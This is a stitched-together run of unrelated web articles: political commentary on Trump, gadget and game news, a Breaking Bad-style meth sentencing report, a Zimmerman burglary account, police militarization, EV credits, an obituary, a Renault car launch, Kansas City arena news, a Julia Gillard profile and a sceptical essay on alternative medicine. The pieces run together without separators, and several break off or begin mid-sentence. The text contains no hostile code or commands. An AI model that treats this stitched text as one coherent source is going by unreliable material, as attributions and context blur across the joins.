And the source of allegiance? We’re supposed to believe that Trump’s support stems from economic stagnation or dislocation. Maybe some of it does. But what Trump offers his followers are not economic remedies — his proposals change daily. What he offers is an attitude, an aura of crude strength and machismo, a boasting disrespect for the niceties of the democratic culture that he claims, and his followers believe, has produced national weakness and incompetence. His incoherent and contradictory utterances have one thing in common: They provoke and play on feelings of resentment and disdain, intermingled with bits of fear, hatred and anger. His public discourse consists of attacking or ridiculing a wide range of “others” — Muslims, Hispanics, women, Chinese, Mexicans, Europeans, Arabs, immigrants, refugees — whom he depicts either as threats or as objects of derision. His program, such as it is, consists chiefly of promises to get tough with foreigners and people of nonwhite complexion. He will deport them, bar them, get them to knuckle under, make them pay up or make them shut up.
That this tough-guy, get-mad-and-get-even approach has gained him an increasingly large and enthusiastic following has probably surprised Trump as much as it has everyone else. Trump himself is simply and quite literally an egomaniac. But the phenomenon he has created and now leads has become something larger than him, and something far more dangerous.
Read the rest of the article here.Mono link means that, at least externally, you see single pieces of metal spanning the entire breadth of the band. That's in contrast to the first metal bands that were released, a more traditional (and perhaps too busy for the visually-simple Moto 360 ) rounded triple-link design.
Moreover, the mono link band is the metal band that was first shown off with the Moto 360 was announced. Well, it only existed in press renderings and the only watch band we saw for the first several months in the real world were the leather bands. Which are nice and all, but they're not metal.
So when the metal bands were finally announced, I was instantly deflated. They, in my opinion, looked awful. The Moto 360 has clean and sharp lines and the new bands looked like the belonged on a cheap watch that's trying to pretend to be fancy (and failing).
Today Motorola formally launched Moto Maker for the 360, bringing with it the ability to swap colors and bands as you please when ordering. There can be some real monstrosities constructed here (anybody that mixes metal band and strap colors is probably going to get slapped). With that came the triumphant and long-awaited arrival of the mono link band. I'd given up hope on it ever coming when the disappointing first metal bands were revealed, but now it's apparently coming. Eventually. Though it costs no more than the standard option, it's currently listed as "delayed shipping" in Moto Maker and not at all available for purchasing separately.
Why am I writing so much about a watch band? Because this one looks good. It's crisp edges and tight seams better match the design of the Moto 360's round case. Importantly, this band also has a much less noticeable gap where it overflows beyond the embedded lug mountings.
This is the Moto 360 watch band I wanted from the start, and I can't wait to finally get one on my wrist.A dungeon-crawling RPG where you control a party of pals who are themselves playing a tabletop RPG is a pretty cute idea, but I heard the charm of Knights of Pen & Paper wore off in grinding. Developers Kyy Games went away to work on a sequel, and now Knights of Pen & Paper 2 [official site] has made its way from pocket telephones to PC for your dungeon-crawling delight. Hypothetical delight. I haven’t heard too much about this follow-up yet.
Right, so, yes, seeing your party seated at a table as ~the world of imagination~ swirls around them is pretty cute, and I especially enjoy ideas like customising your game room to affect the players, it’s a shame the game doesn’t run with it more. It mostly manifests as characters chatting about what’s going on and making remarks of a humorous nature drawing reference to other creative works and manifestations of culture.
When ‘references’ are listed as a feature, I reach for my Holy Hand Grenade of Antioch and raise the hand grenade up on high, saying, “O Lord, bless this Thy hand grenade that, with it, Thou mayest blow Thine enemies to tiny bits in Thy mercy.” And the Lord does grin, and the people do feast upon the lambs and sloths and carp and I shatter my own hands with a ball-peen hammer (second hand’s smashed holding the hammer in my teeth) so I can never do that ever again. While I’m apparently grumbling about the broader idea of referential jokes in games, it usually gets my dander up when a game goes “Hey, check it out, I’m doing this thing that’s really annoying in other games ho ho those foolish games” – yes, I notice you’re doing that annoying thing, because it still sucks. Never forget that even if you’re doing something ironically, you’re still doing it – so think hard about it. You wouldn’t ironically eat poo, would you? That… was not where I thought that tangent was going. It’s not even particularly directed at Knights of Pen & Paper. I just came here to tell you Knights of Pen & Paper 2 is out, you know.
Knights of Pen & Paper 2 is out for Windows, Mac, and Linux through Steam for £7.99. Here, have a launch trailer to make up for my cold-addled rambling:Former high school chemistry teacher
LAS CRUCES, New Mexico - A former high school chemistry teacher convicted of cooking methamphetamines in New Mexico, just like the fictional Walter White character in the AMC-TV show "Breaking Bad," has been sentenced to four years in prison and five years probation.
"Somehow, during the course of the discussions, it was represented that this is the local Walter White," said District Judge Fernando Macias. "This is the Breaking Bad equivalent here in Las Cruces."
Fifty-six-year-old John W. Gose was sentenced Wednesday after pleading guilty to trafficking by manufacturing a controlled substance.
"Everyone's kind of familiar with the TV show, and obviously, we saw those parallels right away," said Tomás Medina, prosecutor for the Doña Ana County District Attorney's Office. "I think that's why people are so interested in this story."
"I have a lot of remorse and regret over it. You know, I'm prepared to accept the consequences for what I did, your honor," Gose said.
The 56-year-old Gose was arrested in October after police discovered glassware, rubber tubing, and chemicals used to cook methamphetamines during a routine traffic stop.
New Mexico State Police later found more chemicals and supplies at his southern New Mexico home, in addition to almost $50,000 in meth that was in the process of crystallizing.
"Perhaps if you or I were bored, we might learn how to play the Ukelele or something, but the defendant decided he was going to make meth," Medina said. "And he was going to make a lot of meth."
In Breaking Bad, Walter White begins cooking meth to pay for his medical bills after he's diagnosed with cancer. Medina argued that unlike Walter White, Gose manufactured the meth purely out of curiosity and boredom.
"This wasn't a defendant that was in dire straits and made a decision based out of desperation, this was a conscious choice," said Medina.
Gose taught science, chemistry and a vocational course at three public schools: Irvin High School in El Paso, as well as Oñate High School and Camino Real Middle School in Las Cruces.
"He was a football coach, he's coached basketball," said Gose's attorney, Peter Giovannini, to Judge Macias.. "Those are - those are things that a teacher does after class that take up a lot of time. Judge, he has been a contributing member of society and has helped so many people."
He was facing up to 20 1/2 years in prison.Take a look at the report of a prior burglary on Feb. 7, 2012, just three weeks before the shooting of Trayvon Martin, where a suspect, Emanuel Burgess, initially got away.
Zimmerman was not the one who reported this burglary. The victim reported it, and two witnesses provided descriptions of the suspect. The victim said her home on Retreat View Circle had been broken into and her MacPro stolen. One of the witnesses who gave a description said he thought the person he had seen loitering at the victims' house had also stolen his bicycle.
The next day, Feb. 7, officers returned to 1540 Retreat View circle after getting a report that four suspicious persons on bicycles were hanging around the house. The report was not made by Zimmerman.
The cops approached the four suspicious guys on bicycles. One was a white male and three were black males. One witness identified one of the males as the one he thought had stolen his bicycle and had been hanging around Retreat View Circle the day before. He said "Burgess" hadn't even changed clothes.
In the report, the cops say they got permission from one of the suspects, Ransburg, who had a backpack, to search it. The stolen Macpro was in it. The cops decided to arrest all four. In the process, one ran away:
Myself, Ofc. Rivera, and Ofc. Hickley then tried to hand cuff all of subjects, however X took head long night, and ran through the Colonial Village apartments. Ofc. Hickley and myself secured the subjects, while Ofc. Rivera gave chase on foot after [X]. A short time later Ofc. Rivera advised that [X] had been apprehended in the Colonial Village apartment complex. Seized from Emmanuel Burgess at the time of his arrest was a touch-screen phone used to deal in stolen property.
Here's the mugshot of his arrest on Feb. 7. Here are his charges.
Burgess was not caught on Feb. 6, 2012, the date of the burglary, so he got away that day. And he did run from police to the neighboring complex on Feb. 7. Does the fact that he didn't get away for all time justify the investigators' assertion in their affidavit that Zimmerman |
. After all, when I went to college in the early 1960s, campus cops were mooks in suits. Gun-less, they were there to enforce such crucial matters as “parietal hours.” (If you’re too young to know what they were, look it up.) At their worst, they faced what in those still civilianized (and sexist) days were called “panty raids,” but today would undoubtedly be seen as potential manifestations of a terrorist mentality. Now, if there is a sit-in or sit-down on campus, as infamously at the University of California, Davis, during the Occupy movement, expect that the demonstrators will be treated like enemies of the state and pepper-sprayed or perhaps Tased. And if there’s a bona fide student riot in town, the cops will now roll out an armored vehicle (as they did recently in Seattle).
By the way, don’t think it’s just the weaponry that’s militarizing the police. It’s a mentality as well that, like those weapons, is migrating home from our distant wars. It’s a sense that the U.S., too, is a “battlefield” and that, for instance, those highly militarized SWAT teams spreading to just about any community you want to mention are made up of “operators” (a “term of art” from the special operations community) ready to deal with threats to American life.
Embedding itself chillingly in our civilian world, that battlefield is proving mobile indeed. As Chase Madar wrote for TomDispatch the last time around, it leads now to the repeated handcuffing of six- and seven-year-olds in our schools as mini-criminals for offenses that once would have been dealt with by a teacher or principal, not a cop, and at school, not in jail or court. Today, Madar returns to explain just how this particular nightmare is spreading into every crevice of American life. TomPresident Obama Proposes $10,000 EV Credit, Again
February 4th, 2015 by Christopher DeMorro
The current $7,500 subsidy remains a generous incentive to be sure, bringing the price of plug-in cars like the Nissan LEAF more in line with their conventional competitors. States like California and Georgia also offer their own local incentives, which has helped put both states at the top of plug-in car adoption rates. The more incentives, though, the better, as Norway has proven by exempting EV owners from heavy tax burdens, while also offering free parking, ferries, tolls, and even access to bus lanes during rush hour. Electric car models are often now the best-selling vehicles in Norway, proving just how powerful carefully considered incentives can be.
In comparison, Obama’s goal of bumping the incentive up to $10,000 and making it a point-of-rebate sale, rather than a tax credit, seems relatively mild. As it stands, some EV buyers don’t make enough money to take full advantage of the tax credit, and they’re still on the hook for monthly payments relative to the cost of the car. A point-of-sale rebate would make plug-ins a lot more affordable for a lot more people.
Obama also wants to extend the incentive to natural gas vehicles, something of an olive branch to the fossil fuel industry (which already takes in absurd levels of annual subsidies). Previously, Obama has suggested using fossil fuel royalties to fund new car research, but that plan never came to be.
As you might imagine, not everyone is on-board with Obama’s clean car push, and some even think it’s a New World Order conspiracy designed to control us (or something). So, with both the House and Senate firmly in the control of Republicans and time winding down on Obama’s final term, it seems unlikely that this proposal will gain any traction where it has failed twice before.
Image: Official White House PhotostreamWATERTOWN (CBS) – The man who became a hero after finding Boston Marathon bomber Dzhokhar Tsarnaev in his backyard in 2013 has died.
Dave Henneberry lived on Franklin Street in Watertown. On April 19, 2013, Boston and the surrounding areas had been shut down while police searched for Tsarnaev.
Just moments after authorities lifted the shelter-in-place order, Henneberry walked into his backyard and came face-to-face with Tsarnaev, who had been hiding in his boat, The Slipaway II.
So Henneberry called 911.
Here is a transcript of that call, which ended the 100-hour-long manhunt.
Henneberry: “I have a boat in my yard. There’s blood all over the inside. There’s a person in the boat.”
911 Operator: “Are you sure?”
Henneberry: “I just looked in the boat.”
911 Operator: “OK. Stay on the phone. Are you in the house? Stay in the house.”
Henneberry: “I just looked in it and I found something on the outside and I got nervous. And I looked in and I saw blood all over the floor of the boat and there’s a body in the boat.”
911 Operator: “Stay where you are.”
Henneberry: “He’s in the boat laying the floor. Climb up the ladder you can open the hatch. He’s in the boat.”
911 Operator: “Is he alive?”
Henneberry: “I don’t know!”
The call ended with Henneberry calmly telling the operator police were there.
Tsarnaev was taken into custody later that night. He was convicted and sentenced to death for his role in the 2013 bombings, which killed three people.
In an instant, Henneberry went from being an ordinary citizen to the man who stopped the infamous lockdown and one of the most intense manhunts in greater Boston history.
“If he didn’t do what he did, who knows what would’ve happened,” said retired Watertown Police Chief Ed Deveau. “The search would have went on, he could have gotten away, so Dave deserves a lot of credit for what he did.”
His neighbors are heartbroken. “People would drive by and stop in front of the house all the time as if it were a tourist attraction, but to us he was just the guy that we love,” said Lori Toye.
Dave Henneberry was later asked to be an extra in the marathon bombing movie “Patriots Day.”
“Here I was and little did I expect to be in the movie with a talking part to Mark Wahlberg,” he said in December 2016.
Henneberry didn’t play himself, he took on the role of a neighbor. He was proud of how he is portrayed in the movie.
“Makes me feel good. I’ll be represented good anyhow, the scene in the backyard,” he told WBZ-TV.
Henneberry died Wednesday. He was 70 years old.
He leaves two stepchildren, three grandchildren and four great-grandchildren.
WBZ NewsRadio 1030’s Ben Parker reportsImage copyright AFP Image caption Donald Trump's proposed wall on the US-Mexico border was a campaign rallying cry
US President Donald Trump has told supporters that his proposed wall along the border with Mexico could have solar panels fixed to it.
Addressing a rally in Iowa, he said the panels would provide cheap energy and help to pay for the controversial wall.
He suggested the plan was his own, saying: "Pretty good imagination, right? Good? My idea."
However, solar panels have been included in designs for the wall submitted by companies.
During his campaign, Mr Trump pledged to build a wall along the Mexican border to stop illegal immigration and drug trafficking.
He insisted he would make Mexico foot the bill, but President Enrique Peña Nieto has dismissed the idea.
Mr Trump told cheering supporters at a campaign-style rally in Cedar Rapids on Wednesday that he would "give you an idea that nobody has heard about yet".
"We're thinking of something that's unique, we're talking about the southern border, lots of sun, lots of heat. We're thinking about building the wall as a solar wall, so it creates energy and pays for itself. And this way, Mexico will have to pay much less money, and that's good, right?"
Media playback is unsupported on your device Media caption Trump : "Pretty good imagination right? Good? My idea."
He added: "Solar wall, panels, beautiful. I mean actually think of it, the higher it goes the more valuable it is. Pretty good imagination right? Good? My idea."
More than 200 companies are believed to have responded to an invitation from the Department of Homeland Security (DHS) to submit designs for the wall. Among them was one from Gleason Partners in Las Vegas that proposed a wall of steel, cement and solar panels.
The DHS told the BBC that 20 companies had been shortlisted.
Media playback is unsupported on your device Media caption The impact of the wall on wildlife: Victoria Gill joins scientists working in the Sonoran Desert
In April, US media reported that President Trump had raised the idea with Republican Congressional leaders in talks at the White House.
The idea of a solar panelled wall was also proposed in an article by an environmentalist and an academic last year in the Huffington Post and another article for the Wall Street Journal by two academics in March.Renault India's much-awaited small car (XBA), the Kwid, finally made its global debut in India today. The launch, however, will take place sometime during the festive season (September - November). To be launched at a starting price of ₹ 3 lakh, the Renault Kwid will take on the likes of Maruti Suzuki Alto 800, Hyundai Eon, and others in the league.
The Renault Kwid is built on an all-new small platform - the CMF-A - jointly developed by the Nissan-Renault Alliance. The same platform will also underpin Datsun India's upcoming small car. The new 800cc, 3-cylinder, petrol engine too has been jointly developed by Renault and Nissan. The smallest engine in the family, it is also claimed to be quite frugal. The company says that the Kwid will return the best-in-class mileage, though it didn't reveal the exact fuel-efficiency figure.
Also Read: 10 Things You Must Know About the Renault Kwid
Renault will launch the Kwid outside India as well, though the company's Chennai-based plant will have its major focus on fulfilling the domestic demand and that of countries surrounding India. Talking about the design, the Renault Kwid seems to have taken its inspiration from several concepts and existing Renault cars. That said, one must note the vehicle looks more like a crossover than a hatchback, thanks to its aggressive styling.
Since it's a global product, Renault undertook its testing across different parts of the world with chassis been tested in Japan, body equipment test in Korea, endurance test in France and assembly testing in India. Developed at Renault-Nissan's Chennai plant, the company has used almost 98 per cent local content to manufacture the car. This will help the company to price the Renault Kwid quite competitively.
Key features
- Optional driver-side airbag
- Navigation system
- Digital instrument cluster with chrome accents on the air-vents
- 800cc, 3-cylinder, petrol engine
- Crossover-like design
For the latest auto news and reviews, follow CarAndBike on Twitter, Facebook, and subscribe to our YouTube channel.Motivational Sayings
What's up with this motivational stuff? Well let me tell you that motivational sayings are the 'pick me up' and perspective that I need as a blogger. Many times I will reflect on several motivational quotes for work that come to mind when I think about continuing to move forward.. when I think of challenges.. and when I think of success too. I have a board in my home with a saying that reads: you know what success looks like to you and there's an image of a golden key right in the middle of it all. What's your golden key and what does it mean to you?
With that said, blogging is tough, but work in any industry typically is too. So I've put together a list of inspirational quotes that I look to in order to keep me motivated that I have added to this post.
Motivational Quotes For Work - Section IThe long-simmering discussions between Kansas City and the American Royal about what to do with Kemper Arena got a surprising jolt Wednesday.
Neal Patterson, co-founder and CEO of Cerner Corp., said he and Mariner Kemper, CEO of UMB Financial Corp., will pay for the demolition of the arena, a cost he estimated at $5 million.
We “will tear this down on our nickel,” Patterson said in a speech at the American Royal’s annual Business & Scholarship Luncheon, held on the arena’s floor.
Patterson, a lifetime governor of the American Royal, was the keynote speaker at the luncheon and about 700 guests heard him offer to pay for demolition costs. Although he said it would cost $5 million to demolish the arena, the city has estimated a higher price, closer to $6 million or $6.5 million.
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The offer to pay for tearing down Kemper Arena is the latest twist in a debate about whether to replace entirely the 18,000-seat, architecturally notable arena with a smaller building. The other main option would be to remodel the arena and build a smaller arena adjacent to it.
The American Royal has proposed demolishing Kemper and replacing it with a custom-designed, $50 million arena that would seat 5,000. Under a competing plan, the Foutch Brothers development company would buy Kemper for a nominal cost and spend $22 million to retrofit it as a regional youth athletics facility. The Royal could then build its arena adjacent to the remodeled Kemper.
City Manager Troy Schulte was not at the luncheon and said later Wednesday that the offer to pay for the demolition of Kemper was news to him. But Schulte said it would make the American Royal’s proposal more financially feasible.
Mariner Kemper, this year’s chairman of the American Royal board of governors, said after the event that he and Patterson had agreed to make the demolition offer as a surprise at the luncheon.
“What we’re attempting to do is to remove whatever obstacles are required to get this thing off center,” Kemper said. “We keep hearing that everyone’s choking on spending $5 million to tear down the building, so this is our last offer to get the positive results for the city.”
The American Royal board believes that simply renovating Kemper Arena to meet its expansion plans would be too expensive. The organization has a lease with the city to use Kemper and the American Royal complex in the West Bottoms through 2045.
Kemper said the demolition proposal issued by Patterson “would never have existed if the city had lived up to its obligations as per our lease. If they’d maintained the building per the lease, we’d never have proposed tearing down Kemper.”
Mariner Kemper and his late father, R. Crosby Kemper Jr., first unveiled plans in October 2011 for a $50 million agricultural and multipurpose events center to replace Kemper Arena. The Kempers pledged to raise $10 million privately for the project, and Mariner Kemper said Wednesday that the American Royal now has $20 million donated for possible use, although part of that is for an endowment.
The proposal also involved about $20 million in state tax credits and called for the city to provide $30 million for upgrades to the American Royal complex, the new building and the Kemper Arena demolition.
Schulte said Wednesday that if the demolition cost is privately covered, that makes it somewhat easier for the city to finance the rest.
The City Council’s Planning, Zoning & Economic Development Committee is weighing the American Royal’s proposal against the Foutch Brothers’ plan.
Committee chairman Ed Ford was at Wednesday’s lunch and heard Patterson’s announcement.
“It certainly makes it more attractive, but there’s still a long ways to go,” Ford said, adding that his committee hopes to make a recommendation to the full council by early October.
John Fairfield, an attorney for Foutch, said Wednesday that his clients believe they have a viable plan for Kemper Arena that doesn’t undermine the American Royal’s lease or its plan for a new, custom-designed building.
“Obviously, we think it’s a historic building that can be renovated and redeveloped in a positive way,” Fairfield said. “Which doesn’t necessarily eliminate what the American Royal wants to do. It just changes the location of their building.”
Patterson and Kemper both say that the American Royal needs more space to expand the annual barbecue contest and that parking would be severely impeded if Kemper Arena remained as it is and another arena was placed next to it.
Kansas City historic preservation advocates have lamented the idea of tearing down Kemper Arena, which was built in the mid-1970s.
Foutch has pushed to have the arena placed on the National Register of Historic Places, which would make it eligible for state and federal historic tax credits.
The National Park Service kicked back a historic designation application earlier this year, saying that Helmut Jahn’s original design was compromised by a 1997 expansion.
Historic preservation consultant Elizabeth Rosin said Wednesday that she plans to submit a new application by next week. The new argument for preservation is based on the claim that Kemper is a prime example of multipurpose arenas that cities built in the 1970s. Getting on the register doesn’t prohibit demolition, but if federal funds are used, then those plans have to be reviewed by the state historic preservation office.
Wednesday’s luncheon featured the granting of agribusiness scholarships to six college students: Alyssa Clements, University of Illinois; Morgan Weinrich, Colorado State University; Emma Likens, University of Nebraska; Sadie Kinne, University of Missouri; Garrett Kays, Kansas State University; and Jade Kampsen, South Dakota State University.
Officials noted that the American Royal, which will celebrate its 115th year in Kansas City this fall, has expanded its roster of governors — ambassadors for the organization — from 600 last year to 1,000 this year and that it expects a sold-out rodeo Sept. 26 and 27.
The annual barbecue contest is set for Oct. 2-5. The livestock show will run Oct. 22-Nov. 2. The annual parade will be Sept. 27.Julia Gillard: Road to The Lodge
Updated
Julia Gillard became the first woman prime minister of Australia in June, and has now won the right to remain in the job as head of a minority government.
When Ms Gillard seized power from Kevin Rudd in the Labor party room, she recognised she did not have a mandate from the Australian people and so she would not move into the Lodge until she had earned their trust at an election.
The key independents' decision to back a Labor minority government clears the way for her to move into the prime minister's residence.
Born in Wales in 1961, Ms Gillard arrived in Australia aged four as a "10-pound pom" and settled in Adelaide with her parents and sister.
She comes from a Labor household and has often spoken of the influence her hard-working parents had on shaping her beliefs.
The fact her father was denied a proper education when he was a child has also had a strong bearing on her belief in the importance of education and hard work.
Ms Gillard was educated at Unley High in Adelaide, where she earned a reputation as a diligent, if somewhat shy, student.
She decided as a teenager that she did not want to have children and has never married; she lives with her long-term partner, Tim Mathieson.
Although she has described herself as a shy child, by the time she began studying arts-law at the University of Adelaide in 1979, she was confident enough to become involved in student politics after joining the ALP.
By 1982 Ms Gillard had moved to Melbourne to work for the Australian Union of Students as education vice-president and her involvement with a group called the Socialist Forum at the time has long been used by her opponents to paint her as a product of the "radical left".
After finishing her degree Ms Gillard began working as a solicitor for Slater and Gordon in Melbourne in 1987. In just three years she was the first woman to be offered a salaried partnership by the firm.
Although her law career was highly successful, her path to Federal Parliament was fraught with setbacks and she was twice knocked back for pre-selection in the early 1990s.
While pondering her political future Ms Gillard took up an offer to work for then Victorian Opposition leader John Brumby.
Finally in 1998 Ms Gillard was able to overcome any previous resistance from her detractors to win pre-selection for the seat of Lalor and was voted into Parliament at that year's election.
By 2001 she was in the shadow ministry formulating immigration policy and in 2003 she moved to health, where she began facing off against then minister Tony Abbott.
So began their famous rivalry, which has played out on morning television, in Parliament and ultimately on the campaign trail.
In 2006, while working in the industrial relations and education portfolio, Ms Gillard teamed up with Mr Rudd to oust Kim Beazley from the leadership. Although Ms Gillard had leadership ambitions she agreed to be Mr Rudd's deputy on a joint ticket.
After Mr Rudd led Labor to its famous 2007 election victory Ms Gillard continued on in the same portfolio and secured a win in the Senate after her legislation to abolish WorkChoices was passed.
However, her stewardship of the $16 billion Building the Education Revolution came under intense scrutiny after repeated claims of waste and rorting were aired in the media.
Labor rode high in the polls for two years but after its decision to shelve the emissions trading scheme and a number of other backflips and bungles its primary vote dived, as did Mr Rudd's popularity.
As leadership speculation mounted, Ms Gillard insisted she did not have plans to challenge Mr Rudd.
But in one swift evening support for Mr Rudd crumbled as factional leaders swung behind Ms Gillard and by the morning of June 24 she was Australia's 27th prime minister.
When Australians delivered a hung Parliament on August 21, Ms Gillard vowed to fight to hang onto power despite the loss of a swag of seats in Queensland and New South Wales.
Long regarded as having strong negotiation skills, Ms Gillard was able to win the support of Greens MP Adam Bandt, new Tasmanian independent Andrew Wilkie and incumbent MPs Rob Oakeshott and Tony Windsor to remain in government.
Ms Gillard now needs to choose new finance and defence ministers, as well as deciding what job she will give to her predecessor.
Topics: federal-elections, government-and-politics, elections, person, gillard-julia, australia
First postedWhy Bogus Therapies Seem to Work
At least ten kinds of errors and biases can convince intelligent, honest people that cures have been achieved when they have not.
“Nothing is more dangerous than active ignorance.” —Goethe
Those who sell therapies of any kind have an obligation to prove, first, that their treatments are safe and, second, that they are effective. The latter is often the more difficult task because there are many subtle ways that honest and intelligent people (both patients and therapists) can be led to think that a treatment has cured someone when it has not. This is true whether we are assessing new treatments in scientific medicine, old nostrums in folk medicine, fringe treatments in “alternative medicine,” or the frankly magical panaceas of faith healers.
To distinguish causal from fortuitous improvements that might follow any intervention, a set of objective procedures has evolved for testing putative remedies. Unless a technique, ritual, drug, or surgical procedure can meet these requirements, it is ethically questionable to offer it to the public, especially if money is to change hands. Since most “alternative” therapies (i.e., ones not accepted by scientific biomedicine) fall into this category, one must ask why so many customers who would not purchase a toaster without consulting Consumer Reports shell out, with trusting naivetë, large sums for unproven, possibly dangerous, health remedies.
For many years, critics have been raising telling doubts about fringe medical practices, but the popularity of such nostrums seems undiminished. We must wonder why entrepreneurs’ claims in this area should remain so refractory to contrary data. If an “alternative” or “complementary” therapy:
is implausible on a priori grounds (because its implied mechanisms or putative effects contradict well-established laws, principles, or empirical findings in physics, chemistry, or biology), lacks a scientifically acceptable rationale of its own, has insufficient supporting evidence derived from adequately controlled outcome research (i.e., double-blind, randomized, placebo-controlled clinical trials), has failed in well-controlled clinical studies done by impartial evaluators and has been unable to rule out competing explanations for why it might seem to work in uncontrolled settings, and, should seem improbable, even to the lay person, on “commonsense” grounds, why would so many well-educated people continue to sell and purchase such a treatment?
The answer, I believe, lies in a combination of vigorous marketing of unsubstantiated claims by “alternative” healers (Beyerstein and Sampson 1996), the poor level of scientific knowledge in the public at large (Kiernan 1995), and the “will to believe” so prevalent among seekers attracted to the New Age movement (Basil 1988; Gross and Levitt 1994).
The appeal of nonscientific medicine is largely a holdover from popular “counterculture” sentiments of the 1960s and 1970s. Remnants of the rebellious, “back-to-nature” leanings of that era survive as nostalgic yearnings for a return to nineteenth-century-style democratized health care (now wrapped in the banner of patients’ rights) and a dislike of bureaucratic, technologic, and specialized treatment of disease (Cassileth and Brown 1988). Likewise, the allure of the “holistic” dogmas of alternative medicine is a descendant of the fascination with Eastern mysticism that emerged in the sixties and seventies. Although the philosophy and the science that underlie these holistic teachings have been severely criticized (Brandon 1985), they retain a strong appeal for those committed to belief in “mind-over-matter” cures, a systemic rather than localized view of pathology, and the all-powerful ability of nutrition to restore health (conceived of as whole-body “balance”).
Many dubious health products remain on the market primarily because satisfied customers offer testimonials to their worth. Essentially, they are saying, “I tried it and I got better, so it must be effective.” But even when symptoms do improve following a treatment, this, by itself, cannot prove that the therapy was responsible.
The Illness-Disease Distinction
Although the terms disease and illness are often used interchangeably, for present purposes it is worth distinguishing between the two. I shall use disease to refer to a pathological state of the organism due to infection, tissue degeneration, trauma, toxic exposure, carcinogenesis, etc. By illness I mean the feelings of malaise, pain, disorientation, dysfunctionality, or other complaints that might accompany a disease. Our subjective reaction to the raw sensations we call symptoms is molded by cultural and psychological factors such as beliefs, suggestions, expectations, demand characteristics, self-serving biases, and self-deception. The experience of illness is also affected (often unconsciously) by a host of social and psychological payoffs that accrue to those admitted to the “sick role” by society’s gatekeepers (i.e., health professionals). For certain individuals, the privileged status and benefits of the sick role are sufficient to perpetuate the experience of illness after a disease has healed, or even to create feelings of illness in the absence of disease (Alcock 1986).
Unless we can tease apart the many factors that contribute to the perception of being ill, personal testimonials offer no basis on which to judge whether a putative therapy has, in fact, cured a disease. That is why controlled clinical trials with objective physical measures are essential in evaluating therapies of any kind.
Correlation Does Not Imply Causation
Mistaking correlation for causation is the basis of most superstitious beliefs, including many in the area of alternative medicine. We have a tendency to assume that when things occur together, they must be causally connected, although obviously they need not be. For example, there is a high correlation between the consumption of diet soft drinks and obesity. Does this mean that artificial sweeteners cause people to become overweight? When we count on personal experience to test the worth of medical treatments, many factors are varying simultaneously, making it extremely difficult to determine what is cause and effect. Personal endorsements supply the bulk of the support for unorthodox health products, but they are a weak currency because of what Gilovich (1997) has called the “compared to what?” problem. Without comparison to a similar group of sufferers, treated identically except that the allegedly curative element is withheld, individual recipients can never know whether they would have recovered just as well without it.
Ten Errors and Biases
The question is, then: Why might therapists and their clients who rely on anecdotal evidence and uncontrolled observations erroneously conclude that inert therapies work? There are at least ten good reasons.
The disease may have run its natural course. Many diseases are self-limiting — providing the condition is not chronic or fatal, the body’s own recuperative processes usually restore the sufferer to health. Thus, before a therapy can be acknowledged as curative, its proponents must show that the number of patients listed as improved exceeds the proportion expected to recover without any treatment at all (or that they recover reliably faster than if left untreated). Unless an unconventional therapist releases detailed records of successes and failures over a sufficiently large number of patients with the same complaint, he or she cannot claim to have exceeded the published norms for unaided recovery. Many diseases are cyclical. Arthritis, multiple sclerosis, allergies, and gastrointestinal complaints are examples of diseases that normally “have their ups and downs.” Naturally, sufferers tend to seek therapy during the downturn of any given cycle. In this way, a bogus treatment will have repeated opportunities to coincide with upturns that would have happened anyway. Again, in the absence of appropriate control groups, consumers and vendors alike are prone to misinterpret improvement due to normal cyclical variation as a valid therapeutic effect. Spontaneous remission. Anecdotally reported cures can be due to rare but possible “spontaneous remissions.” Even with cancers that are nearly always lethal, tumors occasionally disappear without further treatment. One experienced oncologist reports that he has seen twelve such events in about six thousand cases he has treated (Silverman 1987). Alternative therapies can receive unearned acclaim for remissions of this sort because many desperate patients turn to them when they feel that they have nothing left to lose. When the “alternatives” assert that they have snatched many hopeless individuals from death’s door, they rarely reveal what percentage of their apparently terminal clientele such happy exceptions represent. What is needed is statistical evidence that their “cure rates” exceed the known spontaneous remission rate and the placebo response rate (see below) for the conditions they treat. The exact mechanisms responsible for spontaneous remissions are not well understood, but much research is being devoted to revealing and possibly harnessing processes in the immune system or elsewhere that are responsible for these unexpected turnarounds. The relatively new field of psychoneuroimmunology studies how psychological variables affect the nervous, glandular, and immune systems in ways that might affect susceptibility to and recovery from disease (Ader and Cohen 1993; Mestel 1994). If thoughts, emotions, desires, beliefs, etc., are physical states of the brain, there is nothing inherently mystical in the notion that these neural processes could affect glandular, immune, and other cellular processes throughout the body. Via the limbic system of the brain, the hypothalamic pituitary axis, and the autonomic nervous system, psychological variables can have widespread physiological effects that can have positive or negative impacts upon health. While research has confirmed that such effects exist, it must be remembered that they are fairly small, accounting for perhaps a few percent of the variance in disease statistics. The placebo effect. A major reason why bogus remedies are credited with subjective, and occasionally objective, improvements is the ubiquitous placebo effect (Roberts, Kewman, and Hovell 1993; Ulett 1996). The history of medicine is strewn with examples of what, with hindsight, seem like crackpot procedures that were once enthusiastically endorsed by physicians and patients alike (Skrabanek and McCormick 1990; Barrett and Jarvis 1993). Misattributions of this sort arise from the false assumption that a change in symptoms following a treatment must have been a specific consequence of that procedure. Through a combination of suggestion, belief, expectancy, cognitive reinterpretation, and diversion of attention, patients given biologically useless treatments can often experience measurable relief. Some placebo responses produce actual changes in the physical condition; others are subjective changes that make patients feel better although there has been no objective change in the underlying pathology. Through repeated contact with valid therapeutic procedures, we all develop, much like Pavlov’s dogs, conditioned responses in various physiological systems. Later, these responses can be triggered by the setting, rituals, paraphernalia, and verbal cues that signal the act of “being treated.” Among other things, placebos can cause release of the body’s own morphinelike pain killers, the endorphins (Ulett 1996, ch. 3). Because these learned responses can be palliative, even when a treatment itself is physiologically unrelated to the source of the complaint, putative therapies must be tested against a placebo control group — similar patients who receive a sham treatment that resembles the “real” one except that the suspected active ingredient is withheld. It is essential that the patients in such tests be randomly assigned to their respective groups and that they be “blind” with respect to their active versus placebo status. Because the power of what psychologists call expectancy and compliance effects (see below) is so strong, the therapists must also be blind as to individual patients’ group membership. Hence the term double blind — the gold standard of outcome research. Such precautions are required because barely perceptible cues, unintentionally conveyed by treatment providers who are not blinded, can bias test results. Likewise, those who assess the treatment’s effects must also be blind, for there is a large literature on “experimenter bias” showing that honest and well-trained professionals can unconsciously “read in” the outcomes they expect when they attempt to assess complex phenomena (Rosenthal 1966; Chapman and Chapman 1967). When the clinical trial is completed, the blinds can be broken to allow statistical comparison of active, placebo, and no-treatment groups. Only if the improvements observed in the active treatment group exceed those in the two control groups by a statistically significant amount can the therapy claim legitimacy. Some allegedly cured symptoms are psychosomatic to begin with. A constant difficulty in trying to measure therapeutic effectiveness is that many 